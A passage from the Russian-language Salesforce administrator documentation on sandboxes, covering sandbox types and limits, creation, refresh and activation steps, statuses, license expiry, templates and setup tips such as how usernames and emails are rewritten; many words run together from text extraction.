данных. Рекомендуемиспользоватьданнуюбезопаснуюсредудля выполнениятаких
задач, как загрузка данных, интеграционноетестированиеиобучениепользователей,
а также задач разработки, выполняемых в безопасной среде Developer Sandbox.

Partial Copy Sandbox
Безопасные среды Partial Copy Sandbox содержат все метаданные организации и тестовые данные производственной
организации, определяемые посредствомшаблона безопасной среды. Чтобы создать безопасную среду Partial Copy
Sandbox, примените шаблон безопасной среды во время процесса создания.
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Рекомендуем использовать безопасные среды Partial Copy Sandbox для выполнения практически любой задачи по
разработке, тестированию и обучению. Данные безопасные среды не подходят только для полного тестирования
производительности и нагрузочного тестирования.

Full Sandbox
Данная безопасная среда является точной копией производственной организации и всех ее данных.

Рекомендуемиспользоватьбезопасныесреды Full Sandboxдлявыполнениялюбойзадачипоразработке, тестированию
и обучению, включая полное тестирование производительности и нагрузочное тестирование.

Благодаряприменениюшаблона безопасной среды, используемая безопасная средаможет содержать только записи,
необходимые для тестирования или выполнения других задач.

Каждый тип использует разные функции для поддержки выполняемых действий.

Табл. 56: Доступные безопасные среды по версиям

Enterprise EditionUnlimited EditionPerformance EditionТип безопасной среды

2550100Developer Sandbox

(см. примечание)55Developer Pro Sandbox

(см. примечание)(см. примечание)1Partial Copy Sandbox

(см. примечание)11Full Sandbox

Прим.: Организации версии Professional Edition не получают лицензии безопасных сред, но могут приобрести их,
обратившись в компанию Salesforce. Кроме того можно приобрести дополнительные безопасные среды, кроме
безопасной среды Developer Sandbox, поддерживающей дополнительные безопасные среды других типов.

• Безопасная среда Developer Pro Sandbox поддерживает 5 безопасных сред Developer Sandbox.

• Безопасная среда Partial Copy Sandbox поддерживает 10 безопасных сред Developer Sandbox.

• Безопасная среда Full Sandbox поддерживает 15 безопасных сред Developer Sandbox.

Табл. 57: Краткое справочное руководство пофункциям безопасных сред

Шаблоны
безопасной среды

Копируемые данныеОграничение для
хранилищ

Интервал
обновления

Тип безопасной
среды

НедоступноТолько метаданныеХранилище данных:
200 Мб

Хранилищефайлов:
200 Мб

1 деньDeveloper Sandbox

НедоступноТолько метаданныеХранилище данных:
1 Гб

Хранилищефайлов:
1 Гб

1 деньDeveloper Pro Sandbox
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Шаблоны
безопасной среды

Копируемые данныеОграничение для
хранилищ

Интервал
обновления

Тип безопасной
среды

ОбязательноМетаданные и
тестовые данные

Хранилище данных:
5 Гб

Хранилищефайлов:
5 Гб

5 днейPartial Copy Sandbox

ДоступноМетаданные и все
данные

Аналогично
производственной
организации

29 днейFull Sandbox

СМ. ТАКЖЕ:

Создание или обновление безопасной среды

Создание или редактирование шаблонов безопасной среды

Советы и рекомендации по настройке безопасной среды
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Создание или обновление безопасной среды

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Доступно для приобретения
в версиях: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра безопасной
среды:
• «Просмотр настройки и

конфигурации»

Для создания, обновления,
активации и удаления
безопасной среды:
• «Изменение всех

данных» ИЛИ
«Управление
безопасной средой»

Чтобывоспользоватьсявозможностямиразработки, тестированияиобучения, создайте
безопаснуюсреду. Чтобыдобавитьпоследниеданныеизпроизводственнойорганизации,
обновите текущую безопасную среду.

Система поддерживает два способа копирования данных в безопасную среду.

1. Создание безопасной среды.

При создании безопасной среды система Salesforce копирует данные из
производственной организации в безопасную организацию. При создании
безопасной среды Partial Copy Sandbox или Full Sandbox система позволяет применять
шаблон безопасной среды (при его наличии). Шаблоны безопасной среды,
создаваемые клиентами, позволяют выбирать конкретные объекты и данные для
копирования в безопасную среду Partial Copy Sandbox или Full Sandbox.

2. Обновление и активация текущей безопасной среды.

Чтобы создать безопасную среду, выполните указанные ниже действия.

1. Введите строку «Безопасные среды» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Безопасные среды».

2. Нажмите кнопку «Создать безопасную среду».

3. Введите имя (до 10 символов) и описание безопасной среды.

Совет: Рекомендуем выбрать имя, которое:

• Отражает назначение данной безопасной среды (например, «QA»).

• Состоит толькоизнесколькихсимволов, так как система Salesforceдобавляет
имябезопаснойсредыкименампользователейвбезопаснойсреде. Короткие
имена удобнее вводить при входе в безопасную среду.

4. Выберите нужный тип безопасной среды.

Прим.: Еслиорганизациянеимеет доступа кбезопаснойсредеилииспользует
недостаточное количество лицензий, обратитесь в компанию Salesforce для
приобретения безопасных сред.

Еслиприобретеноменьшееколичествобезопасныхсред, необходимопривести
в соответствие количество имеющихся безопасных сред с приобретенным.
Например, если организация использует две безопасные среды Full Sandbox, но
приобретаеттолькоодну, тобезопаснаясредаFull Sandboxнеможетбытьсоздана.
В зависимости от доступных типов, безопасная среда Full Sandbox должна быть
преобразована в безопасную среду меньшего размера (например, Developer Pro
Sandbox или Developer Sandbox).

5. Выберите данные для добавления в безопасную среду Partial Copy Sandbox или Full Sandbox.

• ПрииспользованиибезопаснойсредыPartial Copy Sandboxнажмитекнопку«Далее»ивыберитешаблон, созданный
для определения данных безопасной среды. При отсутствиишаблона, созданного для данной безопасной среды
Partial Copy Sandbox, см. раздел «Создание или редактирование шаблонов безопасной среды».

• При использовании безопасной среды Full Sandbox нажмите кнопку «Далее» и определите объем данных для
добавления.
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– Чтобы добавить данные типа «На основешаблона» для безопасной среды Full Sandbox, выберите текущий
шаблон безопасной среды. Дополнительную информацию см. в разделе «Создание или редактирование
шаблонов безопасной среды».

– Чтобы добавить данные типа «Все» в безопасную среду Full Sandbox, определите необходимость добавления
данных журнала отслеживания поля и копирования данных Chatter, а также их объем. Копирование данных
доступно в промежутке от 0 до 180 дней; шаг копирования составляет 30 дней. Значение по умолчанию —
0 дней.Данные Chatter включаютленты, сообщенияитемы Discovery. Сокращениеобъемакопируемыхданных
может значительно ускорить время копирования безопасной среды.

6. Чтобы выполнять сценарии после каждого создания и обновления данной безопасной среды, укажите класс Apex,
созданный ранее через интерфейс SandboxPostCopy.

7. Нажмите кнопку «Создать».

Совет: Рекомендуемограничитьизменениявпроизводственнойорганизациивовремякопированиябезопасной
среды.

Весь процесс может занять от нескольких минут до нескольких дней, в зависимости от размера и типа организации.

Когда безопасная среда будет подготовлена к использованию, вы получите уведомление по электронной почте о том,
что копирование безопасной среды завершено.

• Для доступа к безопасной среде, щелкните ссылку в электронном письме.

• Пользователи могут выполнять вход в безопасную среду путем ввода адреса https://test.salesforce.com
и добавления компонента .имя_безопасной среды к имени пользователя Salesforce. Например, имя пользователя
polzovatel1@kompaniya.ru, предназначенное для производственной организации, соответствует имени
пользователя polzovatel1@kompaniya.ru.test, предназначенному для безопасной среды «test».

Прим.: Система Salesforce автоматически изменяет имена пользователей безопасной среды, но сохраняет пароли.

Поумолчаниюновымбезопаснымсредамназначаетсяпараметрдоставкиэл. почты «Только системные сообщения
эл. почты». Параметр «Только системные сообщения эл. почты» позволяет контролировать сообщения эл.
почты, отправленные из безопасных сред, и предотвращать рассылку тестовых сообщений эл. почты.

Чтобы обновить текущую безопасную среду, выполните указанные ниже действия.

1. Введите строку «Безопасные среды» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Безопасные
среды».

Приэтомотображается списокбезопасныхсред. Безопасныесреды, доступныедляобновления, поддерживаютссылку
«Обновить» напротив их имен.

2. Щелкните ссылку «Обновить» напротив нужного имени.

3. Просмотрите имя и описание и при необходимости внесите нужные изменения.

4. Выберите нужный тип безопасной среды.

Прим.: Таблица отображает количество и тип лицензий на безопасную среду, доступных в организации. При
обновлении можно выбрать другой тип безопасной среды.

5. Выберите нужные данные.

При использовании безопасной среды Partial Copy Sandbox нажмите кнопку «Далее» и выберите шаблон для
определения данных безопасной среды. При отсутствиишаблона, созданного для данной безопасной среды Partial
Copy Sandbox, см. раздел «Создание или редактирование шаблонов безопасной среды».
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При использовании безопасной среды Full Sandbox нажмите кнопку «Далее» и определите объем данных объекта
для добавления.

Чтобы добавить данные типа «На основешаблона» в безопасную среду Full Sandbox, выберите текущийшаблон
безопаснойсреды. Дополнительнуюинформациюсм. вразделе «Созданиеилиредактированиешаблоновбезопасной
среды».

Чтобы добавить данные объекта типа «Все» в безопасную среду Full Sandbox, определите необходимость добавления
журнала отслеживания поля и копирования данных Chatter, а также их объем. Копирование данных доступно в
промежутке от 0 до 180 дней; шаг копирования составляет 30 дней. Значение по умолчанию — 0 дней.Данные Chatter
включают ленты, сообщения и темы Discovery. Сокращение объема копируемых данных может ускорить время
копирования безопасной среды.

6. По желанию установите флажок «Активировать автоматически». Если установить флажок «Активировать
автоматически», безопасная среда активируется незамедлительно после обновления и без отправки электронного
письма для активации.

7. Нажмите кнопку «Создать».

Система Salesforce начинает копировать данные в безопасную среду.

Позавершениикопированиярекомендуемактивироватьбезопаснуюсредудляиспользованияобновленныхданных.
Еслифлажок«Активироватьавтоматически»неустановленприобновлениибезопаснойсреды, системыSalesforce
посылает электронное письмо, когда безопасная среда готова к активации.

Если флажок «Активировать автоматически» не установлен при обновлении безопасной среды, безопасную среду
необходимо активировать следующим образом.

1. Введите строку «Безопасные среды» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Безопасные
среды».

При этом отображается список безопасных сред. Обновленные безопасные среды, доступные для активации,
поддерживают ссылку «Активировать» напротив их имен.

2. Щелкните ссылку напротив нужной безопасной среды.

Внимание: Активация новой безопасной среды, созданной посредством ссылки «Обновить», инициирует
удаление обновляемой безопасной среды. Текущая конфигурация и данные, включая изменения, внесенные в
приложение или данные, подлежат удалению. Прежде чем выбрать ссылку «Активировать», убедитесь, что
текущее содержимое безопасной среды является ненужным. Производственная организация и ее данные не
меняются. Новые безопасные среды, которые не были активированы в течение 30 дней, подлежат удалению.
Прежде чем запланировать удаление безопасной среды, мы посылаем по меньшей мере два уведомления по
электронной почте. Эти уведомления получают пользователи, которые создали или последними обновили
какую-либо безопасную среду для организации.

Чтобы отследить процесс создания или обновления безопасной среды, выполните указанные ниже действия.

• Введите строку «Безопасные среды» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Безопасные
среды». Список безопасный сред отображает индикатор выполнения для находящихся в очереди, обрабатываемых
или недавно завершенных элементов.

• Чтобыпросмотретьпроцентвыполнениятекущегокопирования, наведитеуказательмышинаиндикаторвыполнения.

• Чтобы просмотреть информацию о безопасной среде, включая процесс копирования или период времени до
следующего доступного обновления, щелкните по ее имени.
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• Если безопасная среда отображает статус «Приостановлено» или «Остановлено» более одного часа, обратитесь в
службу поддержки Salesforce.

СМ. ТАКЖЕ:

Общие сведения о безопасных средах

Общие сведения о типах безопасных сред

Создание или редактирование шаблонов безопасной среды

Советы и рекомендации по настройке безопасной среды

Общие сведения об истечении срока действия лицензий на безопасную среду

Управление безопасными средами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Доступно для приобретения
в версиях: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра безопасной
среды:
• «Просмотр настройки и

конфигурации»

Для создания, обновления,
активации и удаления
безопасной среды:
• «Изменение всех

данных» ИЛИ
«Управление
безопасной средой»

Дляуправлениябезопаснымисредамиоткройте «Настройки» ивведитестроку «Безопасные
среды» вполе «Быстрый поиск», затемвыберите«Безопасныесреды». СистемаSalesforce
отображает доступныебезопасныесреды, приобретенныеорганизацией, а также список
используемых безопасных сред.

Сведения о безопасной среде отображаются в виде вкладок. Управление безопасными
средами осуществляется посредством вкладки «Безопасная среда».

Пользователи могут создавать безопасные среды и управлять текущими безопасными
средами. Данная вкладка содержит все безопасные среды, созданные для организации.
Каждая запись отображает статус соответствующей безопасной среды и доступные
действия.

• Кнопка «Создать безопасную среду» запускает бизнес-правило по созданию
безопасной среды. Дополнительную информацию см. в разделе «Создание или
обновление безопасной среды» на странице 5882.

Система Salesforce деактивирует кнопку «Создать безопасную среду» при
достижении ограничения по количеству безопасных сред. Чтобы заказать
дополнительные безопасные среды, обратитесь в компанию Salesforce.

Доступные действия

• Чтобы выполнить вход в безопасную среду от имени пользователя, администратор
организации может воспользоваться кнопкой «Вход».

Система Salesforce отображает данный параметр только для активных безопасных
сред; кнопка «Вход» доступна администратору только после входа в организацию.

Пользователи могут выполнять вход в безопасную среду путем ввода адреса
https://test.salesforce.com и добавления компонента .имя_безопасной
среды к имени пользователя Salesforce. Например, имя пользователя
polzovatel1@kompaniya.ru, предназначенное для производственной
организации, соответствует имени пользователя
polzovatel1@kompaniya.ru.test, предназначенному для безопасной среды
«test».

• Чтобызаменитьбезопаснуюсредуновойкопией, нажмитекнопку«Обновить». СистемаSalesforce активируеткнопку
«Обновить» только для безопасных сред, доступных для обновления. Текущая копия данной безопасной среды
доступна до завершения обновления. Обновленная копия должна быть активирована.
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• Чтобыактивироватьобновленнуюбезопаснуюсреду, нажмитекнопку«Активировать». СистемаSalesforceотображает
данный параметр только для неактивных безопасных сред. Обновленная безопасная среда доступна только после
активации.

Внимание: Активация обновленной безопасной среды инициирует замену текущей безопасной среды
обновленной версией, а также необратимое удаление устаревшей версии и всех ее данных. Производственная
организация и ее данные не меняются.

• Чтобы пропустить обновленную безопасную среду, нажмите кнопку «Отменить». Данное действие отображается
только для неактивных безопасных сред. Пропуск безопасной среды позволяет отменить ее использование или
выполнить другое обновление.

• Чтобы удалить безопасную среду, нажмите кнопку «Удал.». При удалении безопасной среды дождитесь завершения
интервала обновления безопасной среды и замените ее другой безопасной средой того же типа.

Внимание: Удаление безопасной среды инициирует необратимое удаление самой безопасной среды и всех ее
данных. Производственная организация и ее данные не меняются.

• Чтобыоткрыть страницу сведенийобезопасной среде, щелкнитеимянужнойбезопасной среды. Страница сведений
о безопасной среде позволяет выполнять все перечисленные выше действия: «Вход», «Обновить», «Активировать»,
«Отменить» и «Удалить».

Статусы безопасной среды
Ниже перечислены возможные статусы безопасной среды.

Выборка
Механизм копирования определяет записи объекта, подлежащие выборке и копированию из производственной
организации. Данный статус используется только безопасными средами Partial Copy Sandbox.

Ожидание
Безопасная среда находится в очереди и ожидает начала обработки механизмом копирования. При наличии более
ранних запросов на копирование безопасной среды данный статус безопасной среды может отображаться в течение
длительного периода времени.

Обрабатывается
Механизм копирования выбирает запрос на копирование и начинает создание безопасной среды.

Приостановлено
Работа механизма копирования прервана во время обновления или создания безопасной среды. Данный статус
автоматическизаменяетсямеханизмомкопированияна статус «Обрабатывается». Еслистатуснеменяетсяболееодного
часа, обратитесь в службу поддержки Salesforce.

Остановлено
Механизму копирования не удалось восстановиться после нескольких событий. При отображении данного статуса
безопаснойсредыобратитесьвслужбуподдержкиSalesforceдляполучениядополнительнойинформациииинструкций.
Наши сотрудники получают автоматические уведомления о наличии безопасных сред с данным статусом и активно
работают над их восстановлением.

Ожидание активации
Механизм копирования завершает создание безопасной среды и ожидает ее активации или отмены.

Активация
Механизм копирования выполняет последние действия по предоставлению доступа к новой безопасной среде.
Данный статус используется после нажатия кнопки «Активировать».
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Отмена
Механизм копирования помечает обновленную безопасную среду для удаления. Данный статус используется после
нажатия кнопки «Отменить». Данный процесс не влияет на текущую безопасную среду и производственную
организацию.

Завершено
Механизм копирования завершает процесс создания или обновления и активирует новую безопасную среду. Новая
безопасная организация доступна пользователям для входа.

Удаление
Механизм копирования помечает безопасную среду и весь журнал безопасной среды для удаления. Данный статус
используется после нажатия кнопки «Удалить». Данный процесс не влияет на производственную организацию.

Блокировка
Фоновый процесс блокирует безопасную среду, препятствуя входу пользователей во время его выполнения.
Дополнительную информацию см. в описании статуса «Заблокировано».

Заблокировано
Безопасная среда недоступна для входа. Данный статус используется в том случае, если количество безопасных сред
превышает ограничение, установленное текущими лицензиями. Такое случается при истечении срока действия всех
или некоторых лицензий на безопасную среду. Вход возможен только после разблокировки безопасной среды.

При отображении данного статуса безопасной среды обратитесь к менеджеру по работе с клиентами для продления
истекшихлицензий. Продлениелицензийдоступновтечение 60 дней. Впротивномслучае, безопаснаясредаподлежит
удалению.

СМ. ТАКЖЕ:

Создание или обновление безопасной среды

Общие сведения об истечении срока действия лицензий на безопасную среду

https://developer.salesforce.com/docs/atlas.en-us.dev_lifecycle.meta/dev_lifecycle/

Общие сведения об истечении срока действия лицензий на безопасную
среду

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Доступно для приобретения
в версиях: Professional
Edition.

Лицензиинабезопасные средыназначаютсяотдельноотлицензийна систему Salesforce
имогутподвергатьсянекоторымограничениямпоистечениисрокаихдействия. Данный
раздел содержит рекомендации по восстановлению полной функциональности
безопасных сред.

Безопасная среда доступна только в том случае, если организация соблюдает правила
лицензирования Salesforce. Обычно безопасная среда блокируется по истечении срока
действия соответствующей лицензии.

ПоистечениисрокадействиялицензийбезопаснойсредыкомпанияSalesforce сокращает
количество доступных лицензий для выбранного типа безопасной среды. Если срок
действия лицензий истек, а текущее количество лицензий не превышает количества
предоставленных безопасных организаций, то компания Salesforce удаляет службы
безопасной среды (например, обновление, доступность безопасной организации или
вход).

5887

Общие сведения об истечении срока действия лицензий на
безопасную среду

Развертывание дополнительных возможностей посредством
безопасных сред

https://developer.salesforce.com/docs/atlas.en-us.dev_lifecycle.meta/dev_lifecycle/


Прим.: Компания Salesforce не выполняет автоматическое удаление безопасных организаций по истечении срока
действия лицензии.

Нижеперечисленыограничения, распространяющиесянаорганизации, которыенесоблюдаютправилалицензирования.

Неактивированные безопасные среды
Новые безопасные среды, которые не были активированы в течение 30 дней, подлежат удалению. Прежде чем
запланировать удалениебезопаснойсреды, пользователь, создавшийилиобновившийбезопаснуюсредупоследним,
получает как минимум два электронных уведомления.

Заблокированные безопасные среды
Безопасные среды блокируются по истечении срока действия всех лицензий для данного типа безопасной среды.
Безопасные среды, которые были заблокированы в течение 60 дней, подлежат удалению. Прежде чем запланировать
удаление безопасной среды, пользователь, создавший или обновивший безопасную среду последним, получает
соответствующие электронные уведомления. В течение 30 дней система отправляет не менее трех электронных
уведомлений.

Ниже перечислены сценарии, которые могут встречаться пользователям. Рекомендуем использовать предложенные
решения.

Не удается обновить определенный тип безопасной среды
Причина: количество безопасных сред, используемое организацией, превышает заданное ограничение.

Пример: организация, имеющая две лицензиина безопасную среду Partial Sandbox, использует три безопасных среды
данного типа.

Результат: безопасные среды не могут быть обновлены. При превышении ограничения для любого типа безопасной
среды организация не может обновлять безопасные среды.

Решение: рекомендуем удалить некоторые безопасные среды, чтобы количество используемых безопасных сред не
превышало установленные ограничения, или приобрести дополнительные лицензии безопасной среды.

Все безопасные среды определенного типа заблокированы
Причина: количество лицензий данного типа, включая лицензии более высоких уровней, равно нулю.

Пример: в организации, не имеющей лицензийна безопасную среду Full Sandbox, используется три среды этого типа.

Результат: заблокированы все безопасные среды определенного типа. Пользователь не имеет доступа к безопасным
средам.

Решение: чтобыразблокироватьбезопасныесреды, рекомендуемприобрестисоответствующиелицензии.Обратите
внимание, чтообновлениебезопасныхсредопределенноготипавозможнотольковслучаеприобретениядостаточного
количества лицензий.

Все безопасные среды заблокированы
Причина: заблокирована производственная организация.

Пример: в организации используется одна безопасная среда Full Sandbox и одна безопасная среда Developer Sandbox,
однако пользователь не может выполнить вход ни в одну из них.

Результат: всебезопасныесреды, связанныес заблокированнойпроизводственнойорганизацией, такжеблокируются.
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Решение: чтобы разблокировать организацию, обратитесь к представителю Salesforce. Безопасные среды будут
доступны после разблокировки производственной организации.

СМ. ТАКЖЕ:

Общие ограничения для безопасных сред и их хранилищ

Создание или обновление безопасной среды

Общие сведения о типах безопасных сред

Управление безопасными средами

Советы и рекомендации по настройке безопасной среды

Создание или редактирование шаблонов безопасной среды

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Доступно для приобретения
в версиях: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра безопасной
среды:
• «Просмотр настройки и

конфигурации»

Для создания, обновления,
активации и удаления
безопасной среды:
• «Изменение всех

данных» ИЛИ
«Управление
безопасной средой»

Шаблоныбезопаснойсредыпозволяютопределятьданные, подлежащиекопированию
в безопасную среду.

Шаблоны безопасной среды позволяют выбирать конкретные объекты и данные для
копирования в безопасную среду Full Sandbox или Partial Copy Sandbox, поэтому размер
и содержимое каждойбезопасной средымогут определятьсяиндивидуально. Шаблоны
безопаснойсредыдоступнытолькодлябезопасныхсред Full Sandbox иPartial Copy Sandbox.

Присозданиишаблонабезопаснойсредыпользователивыбираютданныестандартных
инастраиваемыхобъектов, подлежащиекопированиювовремясозданияилиобновления
безопасной среды.

Редактор шаблонов безопасной среды понимает взаимосвязи, заданные посредством
схемы объекта организации. Некоторые объекты выбираются по умолчанию, так как
являются обязательными во всех организациях. При выборе объектов для копирования
редактордобавляет связанныеобязательныеобъекты. Чтобыпросмотретьобязательные
связанныеобъекты, выберитенужныйобъектвтаблице«Объект». Обязательныеобъекты
отображаются в столбце «Обязательные объекты».

Приизменениисхемыобъектов система Salesforceобновляетшаблонпутемдобавления
или удаления связанных обязательных объектов. Например, если объект «А» является
основнымдляобъекта «Б», то добавлениеобъекта «Б» вшаблонинициируетдобавление
объекта «А», наличие которого в шаблоне требуется системой Salesforce.

Чтобы создать или изменить шаблон безопасной среды, выполните указанные ниже
действия.

1. Введите строку «Безопасные среды» в поле «Быстрый поиск» в меню «Настройка»,
выберитепункт «Безопасныесреды»иоткройте вкладку «Шаблоныбезопасных
сред».

2. Нажмите кнопку «Создатьшаблон безопасной среды» или нажмите «Правка»
напротив существующего шаблона, который необходимо изменить.

3. Введите имя и описание шаблона безопасной среды.

4. Чтобы добавить объекты вшаблон, установите флажок напротив каждого нужного
объекта в списке «Доступные объекты».
Раздел сведенийобобъектеотображаетобъекты, которыедобавляются автоматическивместе с выбраннымобъектом.

5. Чтобы удалить объект из шаблона, снимите флажок напротив нужного объекта в списке «Доступные объекты».
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Удаление выбранного объекта инициирует удаление зависимых объектов, выбранных автоматически. При попытке
удаленияобъектасосвязаннымиобъектамиотображаетсяпредупреждениеонеобходимостиподтвержденияоперации
удаления. Данные объекты удаляются после подтверждения.

6. Нажмите кнопку «Сохранить».

Дополнительную информацию об использованиишаблона безопасной среды во время создания или обновления
безопасной среды см. в разделе «Создание или обновление безопасной среды» на странице 5882.

Дополнительную информацию об использованиишаблона безопасной среды механизмом копирования безопасной
среды для создания безопасной среды Full Sandbox или Partial Copy Sandbox см. в разделе «Общие сведения о типах
безопасных сред» на странице 5879.

Внимание: Изменениесхемыобъектаможетинициироватьизменениешаблоновбезопаснойсредыдлядобавления
объектов, требуемыхвзаимосвязями. Приизмененииобязательнойвзаимосвязив схемеобъектапроверьтешаблоны
безопасной среды и убедитесь в выборе объектов, которые должны быть выбраны.

СМ. ТАКЖЕ:

Создание или обновление безопасной среды

Общие сведения о типах безопасных сред

Общие сведения о безопасных средах
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Советы и рекомендации по настройке безопасной среды

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Доступно для приобретения
в версиях: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра безопасной
среды:
• «Просмотр настройки и

конфигурации»

Для создания, обновления,
активации и удаления
безопасной среды:
• «Изменение всех

данных» ИЛИ
«Управление
безопасной средой»

Безопасные среды немного отличаются от производственных организаций; данные
различия влияют на порядок настройки и тестирования безопасной организации.

Преждечемсоздатьбезопаснуюсреду, просмотритеперечисленныенижерекомендации.

Серверы и коды
• Безопасныесредыипроизводственныеорганизациивсегдаиспользуютуникальные

коды. Механизм копирования безопасной среды создает организацию при
выполнении каждого запроса на создание или обновление. Таким образом, код
организации, используемый безопасной средой, меняется при каждом обновлении
безопасной среды. Система Salesforce вставляет новое значение во все области
использования кода организации (например, текстовые значения и метаданные).

Чтобынайтикодтекущейорганизации, введитестроку «Сведения о компании» вполе
«Быстрый поиск» вменю «Настройкаивыберите «Сведенияокомпании». Любой
сценарий или процесс (например, сценарии теста или Web-to-Lead), зависящий от
жестко запрограммированного кода организации, требует использования текущего
кода безопасной среды. При развертывании изменений в производственной
организации рекомендуем обновить данные сценарии или процессы кодом
производственной организации.

• Система Salesforce создаетбезопасныеорганизациинанесколькихэкземплярах. При
создании или обновлении безопасной среды система Salesforce выбирает экземпляр
для безопасной среды, поэтому безопасные среды могут отображаться на разных
экземплярах и использовать разные URL-адреса.

• Копированиеданныхвбезопаснуюсредуинициирует копирование кодовобъектов
(уникальные идентификаторы всех объектов — аналогично типу поля «Код» в API
разработчика) для записей. Тем не менее, скопированные коды объектов не
синхронизируются между производственной организацией и безопасной средой.
Безопасная среда и соответствующая производственная организация являются
независимымиорганизациями. Данныеобъектов (исоответствующиекодыобъектов),
созданныевпроизводственнойорганизациипослесозданияилиобновлениябезопаснойсреды, несинхронизируются
с безопасной средой. Безопасная среда использует аналогичный алгоритм, то есть, объекты, созданные в безопасной
среде, не синхронизируются с производственной организацией.

Пользователи и контакты
• Сведения о пользователе добавляются в копию безопасной среды или обновление для всех типов безопасных сред.

Все имена пользователей Salesforce должны быть уникальными и ссылаться на одну организацию, поэтому все
скопированные имена пользователей меняются для обеспечения уникальности во время процесса копирования.

Процесс копирования предполагает изменение каждого имени пользователя, позволяющее создавать уникальные
имена пользователей.

– Во-первых, имя безопасной среды добавляется к имени пользователя. Например, при добавлении безопасной
среды test к имени пользователя user@acme.com создается уникальное имя пользователя
user@acme.com.test.
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– Если созданное имя пользователя не является уникальным, то система применяет второе изменение путем
добавления нескольких символов и цифр к измененному имени пользователя. Результатом второго изменения
может стать имя пользователя, например 00x7Vquser@acme.com.test.

Вход с использованием измененного имени пользователя выполняется в соответствующую безопасную среду.

• Процесс копированияне копирует данныеконтактов вбезопасныесреды Developer Sandbox или Developer Pro Sandbox.
Таким образом, пользователи клиентского портала не копируются. Тем не менее, процесс копирования копирует
лицензии клиентского портала, поэтому при необходимости данные безопасные среды могут быть использованы
для создания пользователей клиентского портала.

• При создании или обновлении безопасной среды изменяются адреса электронной почты пользователей в
производственнойсреде, поэтомупользователипроизводственнойсредынеполучаютавтоматическихэлектронных
сообщений от безопасной среды. К адресам электронной почты пользователей добавляется домен «example»
(@example.com), аисходныйсимвол @ заменяется символом =. Этоизменение гарантирует, что системаигнорирует
данные адреса электронной почты. Например, при миграции в безопасную среду адресу эл. почты
awheeler@universalcontainers.com, используемому в производственной среде, соответствует следующий
адрес: awheeler=universalcontainers.com@example.com. Чтобы разрешить пользователям безопасной
среды получение автоматических сообщений эл. почты, отправляемых во время тестирования, выполните вход в
безопасную среду и исправьте адреса эл. почты вручную.

Внимание: Безопасные средыавтоматическиизменяютадреса эл. почтыпользователей Salesforce, носохраняют
другие адреса эл. почты Salesforce (например, адреса в записях контактов). Чтобы предотвратить отправку
нежелательных сообщений эл. почты из безопасных сред, вручную измените или удалите все адреса эл. почты
вбезопасныхсредах, которыенепринадлежатпользователямбезопаснойсреды. Притестированииисходящего
сообщенияэл. почтызаменитеконтактныеадреса эл. почтытестовымиадресамиилисценариемавтоматического
теста.

Доставка эл. почты
Поумолчаниюновымиобновленнымбезопаснымсредамназначаетсяпараметр доставки эл. почты «Только системные
сообщения эл. почты». Чтобы настроить параметры доставки электронной почты организации в безопасной среде,
откройте «Настройки» и введите строку «Доставка» в поле «Быстрый поиск», затем выберите «Доставка». Настройте
параметр «Уровень доступа» в разделе «Доступ для отправки эл. почты». Если компания Salesforce запрещает изменение
данного параметра, то параметр «Уровень доступа» может быть недоступен для редактирования.

• «Нет доступа»: данное значение блокирует все исходящие сообщения эл. почты пользователей.

• «Только системные сообщения эл. почты»: данное значение разрешает только автоматические сообщения эл.
почты (например, при создании пользователя или восстановлении пароля).

• «Все сообщения эл. почты»: данное значение разрешает все типы исходящих сообщений эл. почты. Данное
значение используется по умолчанию для новых небезопасных организаций.

Совет: Параметр «Только системные сообщения эл. почты» позволяет контролировать сообщения эл. почты,
отправленные из безопасных сред, и предотвращать рассылку тестовых сообщений эл. почты.

• Поумолчаниюновымбезопаснымсредамназначается параметр «Только системные сообщения эл. почты».

• Безопасным средам, созданным до выпуска Spring'13, по умолчанию назначается параметр «Все сообщения
эл. почты».
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Создание, обновление и удаление безопасных сред
• Можноуказать сценарийкопированиябезопаснойсреды, которыйбудет выполнятьсякаждыйразпослеееобновления

(и первый раз после создания). Укажите сценарий при создании безопасной среды.

• Теперь сайты Site.com и сообщества Site.com можно скопировать в безопасные среды.

• Копирование безопасной среды — это длительная операция, выполняемая в фоновом режиме. Уведомление о
завершении копирования безопасной среды отправляется по эл. почте. Обновление безопасной средыможет занять
часы, дни или даже более недели.

• Продолжительность копирования или обновления безопасной среды определяется целым рядом условий, включая
текущие настройки, размер данных, количество объектов и выбранных параметров (для полных копий), а также
загрузку сервера. Кроме того, обновления безопасной среды находятся в очереди, поэтому запрашиваемая копия
может запуститься через некоторое время после отправки запроса.

• Безопаснаясреданеявляетсямоментальнымснимкомточногосостоянияданных. Болеетого, рекомендуемограничивать
количествоизмененийпроизводственнойорганизации, выполняемыхвовремя созданияилиобновлениябезопасной
среды. Изменениенастроекиданныхпроизводственнойорганизацииво время созданияилиобновлениябезопасной
среды может вызвать несоответствия в безопасной среде. Некоторые несоответствия в безопасной среде могут быть
найдены и исправлены после ее копирования или обновления.

• Созданиеилиобновлениебезопаснойсредызанимаетопределенноевремя. Запускбольшогопроцессаилиобновления
организацийразмеромв 30 ГБилиболеевовремясозданияилиобновленияможетсоздатьнесоответствиявбезопасной
среде.

